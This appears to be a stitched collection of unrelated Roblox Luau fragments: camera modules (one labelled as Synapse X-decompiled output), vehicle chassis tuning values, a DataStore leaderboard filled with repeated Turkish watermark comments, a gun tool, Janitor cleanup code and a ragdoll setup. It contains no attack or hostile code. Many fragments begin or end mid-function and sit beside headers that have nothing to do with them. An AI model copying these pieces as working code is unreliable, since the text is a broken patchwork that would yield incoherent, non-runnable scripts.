indices[#indices+1] = a indices[#indices+1] = c indices[#indices+1] = v2 indices[#indices+1] = b indices[#indices+1] = a indices[#indices+1] = v3 indices[#indices+1] = c indices[#indices+1] = b indices[#indices+1] = a indices[#indices+1] = b indices[#indices+1] = c table.remove(indices, i) table.remove(indices, i - 1) table.remove(indices, i - 2) end end -- normalize for i = 1, #verts do verts[i] = verts[i].Unit end return verts end
--!strict -- this event fires every frame if the speed is higher then 0. can use alot of resources depending on what you write here.
return function (system, particleRef) warn("Particle Position Changed, Info Follows") warn("CFrame:", particleRef.CFrame) warn("Color:", particleRef.Color) warn("Children:", particleRef.Children) end
-- PLACE THIS SCRIPT INTO STARTERPLAYERSCRIPTS
UserInputService = game:GetService("UserInputService") RunService = game:GetService("RunService")
-- Decompiled with the Synapse X Luau decompiler.
local v1 = Vector3.new(1, 0, 0); local v2 = Vector3.new(0, 1, 0); local v3 = Vector3.new(0, 0, 1); local v4 = Vector3.new(0, -3, 0); local v5 = { InitialDistance = 25, MinDistance = 10, MaxDistance = 100, InitialElevation = 35, MinElevation = 35, MaxElevation = 35, ReferenceAzimuth = -45, CWAzimuthTravel = 90, CCWAzimuthTravel = 90, UseAzimuthLimits = false }; local v6 = require(script.Parent:WaitForChild("BaseCamera")); local v7 = setmetatable({}, v6); v7.__index = v7; function v7.new() local v8 = setmetatable(v6.new(), v7); v8.lastUpdate = tick(); v8.changedSignalConnections = {}; v8.refAzimuthRad = nil; v8.curAzimuthRad = nil; v8.minAzimuthAbsoluteRad = nil; v8.maxAzimuthAbsoluteRad = nil; v8.useAzimuthLimits = nil; v8.curElevationRad = nil; v8.minElevationRad = nil; v8.maxElevationRad = nil; v8.curDistance = nil; v8.minDistance = nil; v8.maxDistance = nil; v8.r3ButtonDown = false; v8.l3ButtonDown = false; v8.gamepadDollySpeedMultiplier = 1; v8.lastUserPanCamera = tick(); v8.externalProperties = {}; v8.externalProperties.InitialDistance = 25; v8.externalProperties.MinDistance = 10; v8.externalProperties.MaxDistance = 100; v8.externalProperties.InitialElevation = 35; v8.externalProperties.MinElevation = 35; v8.externalProperties.MaxElevation = 35; v8.externalProperties.ReferenceAzimuth = -45; v8.externalProperties.CWAzimuthTravel = 90; v8.externalProperties.CCWAzimuthTravel = 90; v8.externalProperties.UseAzimuthLimits = false; v8:LoadNumberValueParameters(); return v8; end; function v7.LoadOrCreateNumberValueParameter(p1, p2, p3, p4) local v9 = script:FindFirstChild(p2); if v9 and v9:isA(p3) then p1.externalProperties[p2] = v9.Value; else if p1.externalProperties[p2] == nil then print("externalProperties table has no entry for ", p2); return; end; v9 = Instance.new(p3); v9.Name = p2; v9.Parent = script; v9.Value = p1.externalProperties[p2]; end; if p4 then if p1.changedSignalConnections[p2] then p1.changedSignalConnections[p2]:Disconnect(); end; p1.changedSignalConnections[p2] = v9.Changed:Connect(function(p5) p1.externalProperties[p2] = p5; p4(p1); end); end; end; function v7.SetAndBoundsCheckAzimuthValues(p6) p6.minAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) - math.abs(math.rad(p6.externalProperties.CWAzimuthTravel)); p6.maxAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) + math.abs(math.rad(p6.externalProperties.CCWAzimuthTravel)); p6.useAzimuthLimits = p6.externalProperties.UseAzimuthLimits; if p6.useAzimuthLimits then p6.curAzimuthRad = math.max(p6.curAzimuthRad, p6.minAzimuthAbsoluteRad); p6.curAzimuthRad = math.min(p6.curAzimuthRad, p6.maxAzimuthAbsoluteRad); end; end; function v7.SetAndBoundsCheckElevationValues(p7) local v10 = math.max(p7.externalProperties.MinElevation, -80); local v11 = math.min(p7.externalProperties.MaxElevation, 80); p7.minElevationRad = math.rad(math.min(v10, v11)); p7.maxElevationRad = math.rad(math.max(v10, v11)); p7.curElevationRad = math.max(p7.curElevationRad, p7.minElevationRad); p7.curElevationRad = math.min(p7.curElevationRad, p7.maxElevationRad); end; function v7.SetAndBoundsCheckDistanceValues(p8) p8.minDistance = p8.externalProperties.MinDistance; p8.maxDistance = p8.externalProperties.MaxDistance; p8.curDistance = math.max(p8.curDistance, p8.minDistance); p8.curDistance = math.min(p8.curDistance, p8.maxDistance); end; function v7.LoadNumberValueParameters(p9) p9:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil); p9:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil); p9:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", p9.SetAndBoundsCheckAzimuthValue); p9:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues); p9:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues); p9:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues); p9:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues); p9:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues); p9:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues); p9:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", p9.SetAndBoundsCheckAzimuthValues); p9.curAzimuthRad = math.rad(p9.externalProperties.ReferenceAzimuth); p9.curElevationRad = math.rad(p9.externalProperties.InitialElevation); p9.curDistance = p9.externalProperties.InitialDistance; p9:SetAndBoundsCheckAzimuthValues(); p9:SetAndBoundsCheckElevationValues(); p9:SetAndBoundsCheckDistanceValues(); end; function v7.GetModuleName(p10) return "OrbitalCamera"; end; local u1 = require(script.Parent:WaitForChild("CameraUtils")); function v7.SetInitialOrientation(p11, p12) if not p12 or not p12.RootPart then warn("OrbitalCamera could not set initial orientation due to missing humanoid"); return; end; local l__unit__12 = (p12.RootPart.CFrame.lookVector - Vector3.new(0, 0.23, 0)).unit; local v13 = u1.GetAngleBetweenXZVectors(l__unit__12, p11:GetCameraLookVector()); local v14 = math.asin(p11:GetCameraLookVector().y) - math.asin(l__unit__12.y); if not u1.IsFinite(v13) then v13 = 0; end; if not u1.IsFinite(v14) then v14 = 0; end; p11.rotateInput = Vector2.new(v13, v14); end; function v7.GetCameraToSubjectDistance(p13) return p13.curDistance; end; local l__Players__2 = game:GetService("Players"); function v7.SetCameraToSubjectDistance(p14, p15) print("OrbitalCamera SetCameraToSubjectDistance ", p15); if l__Players__2.LocalPlayer then p14.currentSubjectDistance = u1.Clamp(p14.minDistance, p14.maxDistance, p15); p14.currentSubjectDistance = math.max(p14.currentSubjectDistance, p14.FIRST_PERSON_DISTANCE_THRESHOLD); end; p14.inFirstPerson = false; p14:UpdateMouseBehavior(); return p14.currentSubjectDistance; end; local u3 = Vector3.new(0, 0, 0); function v7.CalculateNewLookVector(p16, p17, p18) local v15 = p17 or p16:GetCameraLookVector(); local v16 = math.asin(v15.y); local v17 = Vector2.new(p18.x, (u1.Clamp(v16 - 1.3962634015954636, v16 - -1.3962634015954636, p18.y))); return (CFrame.Angles(0, -v17.x, 0) * CFrame.new(u3, v15) * CFrame.Angles(-v17.y, 0, 0)).lookVector; end; local u4 = Vector2.new(0, 0); function v7.GetGamepadPan(p19, p20, p21, p22) if p22.UserInputType == p19.activeGamepad and p22.KeyCode == Enum.KeyCode.Thumbstick2 then if not p19.r3ButtonDown and not p19.l3ButtonDown then if p21 == Enum.UserInputState.Cancel then p19.gamepadPanningCamera = u4; return; elseif Vector2.new(p22.Position.X, -p22.Position.Y).magnitude > 0.2 then p19.gamepadPanningCamera = Vector2.new(p22.Position.X, -p22.Position.Y); return; else p19.gamepadPanningCamera = u4; return; end; end; else return; end; if p22.Position.Y > 0.2 then p19.gamepadDollySpeedMultiplier = 0.96; return; end; if p22.Position.Y < -0.2 then p19.gamepadDollySpeedMultiplier = 1.04; return; end; p19.gamepadDollySpeedMultiplier = 1; end; function v7.DoGamepadZoom(p23, p24, p25, p26) if p26.UserInputType == p23.activeGamepad and (p26.KeyCode == Enum.KeyCode.ButtonR3 or p26.KeyCode == Enum.KeyCode.ButtonL3) then if p25 == Enum.UserInputState.Begin then p23.r3ButtonDown = p26.KeyCode == Enum.KeyCode.ButtonR3; p23.l3ButtonDown = p26.KeyCode == Enum.KeyCode.ButtonL3; return; end; if p25 == Enum.UserInputState.End then if p26.KeyCode == Enum.KeyCode.ButtonR3 then p23.r3ButtonDown = false; elseif p26.KeyCode == Enum.KeyCode.ButtonL3 then p23.l3ButtonDown = false; end; if not p23.r3ButtonDown and not p23.l3ButtonDown then p23.gamepadDollySpeedMultiplier = 1; end; end; end; end; function v7.BindGamepadInputActions(p27) local l__ContextActionService__18 = game:GetService("ContextActionService"); l__ContextActionService__18:BindAction("OrbitalCamGamepadPan", function(p28, p29, p30) p27:GetGamepadPan(p28, p29, p30); end, false, Enum.KeyCode.Thumbstick2); l__ContextActionService__18:BindAction("OrbitalCamGamepadZoom", function(p31, p32, p33) p27:DoGamepadZoom(p31, p32, p33); end, false, Enum.KeyCode.ButtonR3); l__ContextActionService__18:BindAction("OrbitalCamGamepadZoomAlt", function(p34, p35, p36) p27:DoGamepadZoom(p34, p35, p36); end, false, Enum.KeyCode.ButtonL3); end; local u5 = 0; local l__VRService__6 = game:GetService("VRService"); local u7 = Vector3.new(1, 0, 1); local u8 = 2 * math.pi; function v7.Update(p37, p38) local v19 = tick(); local v20 = v19 - p37.lastUpdate; local v21 = p37.UserPanningTheCamera == true; local l__CurrentCamera__22 = workspace.CurrentCamera; local v23 = l__CurrentCamera__22.CFrame; local l__Focus__24 = l__CurrentCamera__22.Focus; local v25 = p37:GetHumanoid(); local v26 = l__CurrentCamera__22 and l__CurrentCamera__22.CameraSubject; local v27 = v26 and v26:IsA("VehicleSeat"); local v28 = v26 and v26:IsA("SkateboardPlatform"); if p37.lastUpdate == nil or v20 > 1 then p37.lastCameraTransform = nil; end; if p37.lastUpdate then local v29 = p37:UpdateGamepad(); if p37:ShouldUseVRRotation() then p37.RotateInput = p37.RotateInput + p37:GetVRRotationInput(); else local v30 = math.min(0.1, v20); if v29 ~= u4 then v21 = true; p37.rotateInput = p37.rotateInput + v29 * v30; end; local v31 = 0; if not v27 and not v28 then if p37.TurningLeft then local v32 = -120; else v32 = 0; end; if p37.TurningRight then local v33 = 120; else v33 = 0; end; v31 = v31 + v32 + v33; end; if v31 ~= 0 then p37.rotateInput = p37.rotateInput + Vector2.new(math.rad(v31 * v30), 0); v21 = true; end; end; end; if v21 then u5 = 0; p37.lastUserPanCamera = tick(); end; if not (v19 - p37.lastUserPanCamera < 2) then end; local v34 = p37:GetSubjectPosition(); if v34 and l__Players__2.LocalPlayer and l__CurrentCamera__22 then if p37.gamepadDollySpeedMultiplier ~= 1 then p37:SetCameraToSubjectDistance(p37.currentSubjectDistance * p37.gamepadDollySpeedMultiplier); end; local l__VREnabled__35 = l__VRService__6.VREnabled; local v36 = l__VREnabled__35 and p37:GetVRFocus(v34, v20) or CFrame.new(v34); if l__VREnabled__35 and not p37:IsInFirstPerson() then local v37 = p37:GetCameraHeight(); local v38 = v34 - l__CurrentCamera__22.CFrame.p; local l__magnitude__39 = v38.magnitude; if p37.currentSubjectDistance < l__magnitude__39 or p37.rotateInput.x ~= 0 then local v40 = p37:CalculateNewLookVector(v38.unit * u7, Vector2.new(p37.rotateInput.x, 0)) * math.min(l__magnitude__39, p37.currentSubjectDistance); local v41 = v36.p - v40; local v42 = l__CurrentCamera__22.CFrame.lookVector; if p37.rotateInput.x ~= 0 then v42 = v40; end; p37.RotateInput = u4; v23 = CFrame.new(v41, (Vector3.new(v41.x + v42.x, v41.y, v41.z + v42.z))) + Vector3.new(0, v37, 0); end; else p37.curAzimuthRad = p37.curAzimuthRad - p37.rotateInput.x; if p37.useAzimuthLimits then p37.curAzimuthRad = u1.Clamp(p37.minAzimuthAbsoluteRad, p37.maxAzimuthAbsoluteRad, p37.curAzimuthRad); else p37.curAzimuthRad = p37.curAzimuthRad ~= 0 and math.sign(p37.curAzimuthRad) * (math.abs(p37.curAzimuthRad) % u8) or 0; end; p37.curElevationRad = u1.Clamp(p37.minElevationRad, p37.maxElevationRad, p37.curElevationRad + p37.rotateInput.y); v23 = CFrame.new(v34 + p37.currentSubjectDistance * (CFrame.fromEulerAnglesYXZ(-p37.curElevationRad, p37.curAzimuthRad, 0) * v3), v34); p37.rotateInput = u4; end; p37.lastCameraTransform = v23; p37.lastCameraFocus = l__Focus__24; if (v27 or v28) and v26:IsA("BasePart") then p37.lastSubjectCFrame = v26.CFrame; else p37.lastSubjectCFrame = nil; end; end; p37.lastUpdate = v19; return v23, l__Focus__24; end; return v7;
-- declarations
local sDied = newSound("") local sFallingDown = newSound("") local sFreeFalling = newSound("") local sGettingUp = newSound("") local sJumping = newSound("") local sRunning = newSound("") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid")
--[[ Functions overridden from BaseCamera ]]
-- function LegacyCamera:SetCameraToSubjectDistance(desiredSubjectDistance) return BaseCamera.SetCameraToSubjectDistance(self,desiredSubjectDistance) end function LegacyCamera:Update(dt) -- Cannot update until cameraType has been set if not self.cameraType then return end local now = tick() local timeDelta = (now - self.lastUpdate) local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera and camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing if self.lastUpdate == nil or timeDelta > 1 then self.lastDistanceToSubject = nil end local subjectPosition = self:GetSubjectPosition() if self.cameraType == Enum.CameraType.Fixed then if self.lastUpdate then -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, now - self.lastUpdate) local gamepadRotation = self:UpdateGamepad() self.rotateInput = self.rotateInput + (gamepadRotation * delta) end if subjectPosition and player and camera then local distanceToSubject = self:GetCameraToSubjectDistance() local newLookVector = self:CalculateNewLookVector() self.rotateInput = ZERO_VECTOR2 newCameraFocus = camera.Focus -- Fixed camera does not change focus newCameraCFrame = CFrame.new(camera.CFrame.p, camera.CFrame.p + (distanceToSubject * newLookVector)) end elseif self.cameraType == Enum.CameraType.Attach then if subjectPosition and camera then local distanceToSubject = self:GetCameraToSubjectDistance() local humanoid = self:GetHumanoid() if self.lastUpdate and humanoid and humanoid.RootPart then -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, now - self.lastUpdate) local gamepadRotation = self:UpdateGamepad() self.rotateInput = self.rotateInput + (gamepadRotation * delta) local forwardVector = humanoid.RootPart.CFrame.lookVector local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector()) if Util.IsFinite(y) then -- Preserve vertical rotation from user input self.rotateInput = Vector2.new(y, self.rotateInput.Y) end end local newLookVector = self:CalculateNewLookVector() self.rotateInput = ZERO_VECTOR2 newCameraFocus = CFrame.new(subjectPosition) newCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition) end elseif self.cameraType == Enum.CameraType.Watch then if subjectPosition and player and camera then local cameraLook = nil local humanoid = self:GetHumanoid() if humanoid and humanoid.RootPart then local diffVector = subjectPosition - camera.CFrame.p cameraLook = diffVector.unit if self.lastDistanceToSubject and self.lastDistanceToSubject == self:GetCameraToSubjectDistance() then -- Don't clobber the zoom if they zoomed the camera local newDistanceToSubject = diffVector.magnitude self:SetCameraToSubjectDistance(newDistanceToSubject) end end local distanceToSubject = self:GetCameraToSubjectDistance() local newLookVector = self:CalculateNewLookVector(cameraLook) self.rotateInput = ZERO_VECTOR2 newCameraFocus = CFrame.new(subjectPosition) newCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition) self.lastDistanceToSubject = distanceToSubject end else -- Unsupported type, return current values unchanged return camera.CFrame, camera.Focus end self.lastUpdate = now return newCameraCFrame, newCameraFocus end return LegacyCamera
---- []
Body.DescendantAdded:Connect(function(descend) spawn(function() if descend:IsA("Tool") then TurnCharacterToMouse = true end end) end) Body.DescendantRemoving:Connect(function(descend) spawn(function() if descend:IsA("Tool") then TurnCharacterToMouse = false end end) end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 370 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--------Insert your bricks into this model. Name one of the bricks "Engine"
--[[ Constants ]]
-- local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png"
--Run
local ver=require(car["A-Chassis Tune"].README) print("//INSPARE: AC6 Loaded - Build "..ver) while wait() do Steering() Engine() if _Tune.AutoFlip then Flip() end _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * 5250 / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer)) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity if _PGear~=_CGear then _PGear=_CGear car.DriveSeat.MaxSpeed = car.DriveSeat.Velocity.Magnitude*(_Tune.Redline/_RPM) end end
--Put this script into startergui--
local player = game.Players.LocalPlayer local topbarplus = player.PlayerGui:WaitForChild("TopbarPlus", 30) topbarplus.TopbarContainer.UnnamedIcon.Visible = false
---------------------------------------Function end here.
end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end --Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit if (check()) then fire(lookAt) wait(0.1) onActivated() end return --Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
----𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local DataStoreService = game:GetService("DataStoreService") local DataStore = DataStoreService:GetOrderedDataStore("GlobalLeaderboard_" .. StatsName) local SurfaceGui = script.Parent local Sample = script.Sample local List = SurfaceGui.Frame.List--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 local ItemsFrame = List.ListContent.Items local function GetItems() local Data = DataStore:GetSortedAsync(false, MaxItems, MinValueDisplay, MaxValueDisplay) local TopPage = Data:GetCurrentPage() ItemsFrame.Nothing.Visible = #TopPage == 0 and true or false for i, v in ipairs(TopPage) do local UserId = v.key--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 local Value = v.value local Username = "[Not Available]" local Color = Color3.fromRGB(38, 50, 56)--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 local Success, Error = pcall(function() Username = game.Players:GetNameFromUserIdAsync(UserId) end) --𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 if i == 1 then Color = Color3.fromRGB(255, 215, 0) elseif i == 2 then Color = Color3.fromRGB(192, 192, 192) elseif i == 3 then Color = Color3.fromRGB(205, 127, 50) end--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 local Item = Sample:Clone() Item.Name = Username Item.LayoutOrder = i--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 Item.Values.Number.TextColor3 = Color Item.Values.Number.Text = i Item.Values.Username.Text = Username--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫 Item.Values.Value.Text = Value Item.Parent = ItemsFrame end end
--- Returns a type name, parsing aliases.
function Registry:GetTypeName (name) return self.TypeAliases[name] or name end
--// Functions
function MakeFakeArms() Arms = Instance.new("Model") Arms.Name = "Arms" Arms.Parent = L_5_ local L_172_ = Instance.new("Humanoid") L_172_.MaxHealth = 0 L_172_.Health = 0 L_172_.Name = "" L_172_.Parent = Arms if L_3_:FindFirstChild("Shirt") then local L_177_ = L_3_:FindFirstChild("Shirt"):clone() L_177_.Parent = Arms end local L_173_ = L_3_:FindFirstChild("Right Arm"):clone() for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do if L_179_forvar2:IsA('Motor6D') then L_179_forvar2:Destroy() end end L_173_.Name = "Right Arm" L_173_.FormFactor = "Custom" L_173_.Size = Vector3.new(0.8, 2.5, 0.8) L_173_.Transparency = 0.0 local L_174_ = Instance.new("Motor6D") L_174_.Part0 = L_173_ L_174_.Part1 = L_3_:FindFirstChild("Right Arm") L_174_.C0 = CFrame.new() L_174_.C1 = CFrame.new() L_174_.Parent = L_173_ L_173_.Parent = Arms local L_175_ = L_3_:FindFirstChild("Left Arm"):clone() L_175_.Name = "Left Arm" L_175_.FormFactor = "Custom" L_175_.Size = Vector3.new(0.8, 2.5, 0.8) L_175_.Transparency = 0.0 local L_176_ = Instance.new("Motor6D") L_176_.Part0 = L_175_ L_176_.Part1 = L_3_:FindFirstChild("Left Arm") L_176_.C0 = CFrame.new() L_176_.C1 = CFrame.new() L_176_.Parent = L_175_ L_175_.Parent = Arms end function RemoveArmModel() if Arms then Arms:Destroy() Arms = nil end end local L_135_ function CreateShell() L_135_ = time() local L_180_ = L_1_.Shell:clone() if L_180_:FindFirstChild('Shell') then L_180_.Shell:Destroy() end L_180_.CFrame = L_1_.Chamber.CFrame L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0) --shell.RotVelocity = Vector3.new(-10,40,30) L_180_.Parent = L_101_ L_180_.CanCollide = false game:GetService("Debris"):addItem(L_180_, 1) delay(0.5, function() if L_19_:FindFirstChild('ShellCasing') then local L_181_ = L_19_.ShellCasing:clone() L_181_.Parent = L_2_.PlayerGui L_181_:Play() game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength) end end) end
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_PADDING = 12 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
--[=[ Calls each Object's `MethodName` (or calls the Object if `MethodName == true`) and removes them from the Janitor. Also clears the namespace. This function is also called when you call a Janitor Object (so it can be used as a destructor callback). ```lua Obliterator:Cleanup() -- Valid. Obliterator() -- Also valid. ``` ```ts Obliterator.Cleanup() ``` ]=]
function Janitor:Cleanup() if not self.CurrentlyCleaning then self.CurrentlyCleaning = nil local Get = GetFenv(self) local Object, MethodName = Get() while Object and MethodName do -- changed to a while loop so that if you add to the janitor inside of a callback it doesn't get untracked (instead it will loop continuously which is a lot better than a hard to pindown edgecase) if MethodName == true then Object() else local ObjectMethod = Object[MethodName] if ObjectMethod then ObjectMethod(Object) end end self[Object] = nil Object, MethodName = Get() end local This = self[IndicesReference] if This then table.clear(This) self[IndicesReference] = {} end self.CurrentlyCleaning = false end end
-- MISC VARIABLES --
local ragdollParts = script.RagdollParts script.RagdollClient.Parent = StarterPlayer.StarterCharacterScripts game.Players.PlayerAdded:Connect(function(player) if not player.Character then player.CharacterAdded:Connect(function(char) if char:FindFirstChild("UpperTorso") then return end local clones = {} for i, v in pairs(ragdollParts:GetChildren()) do clones[v.Name] = v:Clone() end for i, v in pairs(clones) do if v:IsA("Attachment") then v.Parent = char[v:GetAttribute("Parent")] elseif v:IsA("BallSocketConstraint") then v.Parent = char.Torso v.Attachment0 = clones[v:GetAttribute("0")] v.Attachment1 = clones[v:GetAttribute("1")] else v.Part0 = char.HumanoidRootPart v.Part1 = char.Torso v.Parent = char.HumanoidRootPart end end end) else local char = player.Character if char:FindFirstChild("UpperTorso") then return end local clones = {} for i, v in pairs(ragdollParts:GetChildren()) do clones[v.Name] = v:Clone() end for i, v in pairs(clones) do if v:IsA("Attachment") then v.Parent = char[v:GetAttribute("Parent")] elseif v:IsA("BallSocketConstraint") then v.Parent = char.Torso v.Attachment0 = clones[v:GetAttribute("0")] v.Attachment1 = clones[v:GetAttribute("1")] else v.Part0 = char.HumanoidRootPart v.Part1 = char.Torso v.Parent = char.HumanoidRootPart end end end end) CS:GetInstanceAddedSignal("Ragdoll"):Connect(function(v) if v:IsA("Model") then ragdollBuilder:Ragdoll(v) end end) 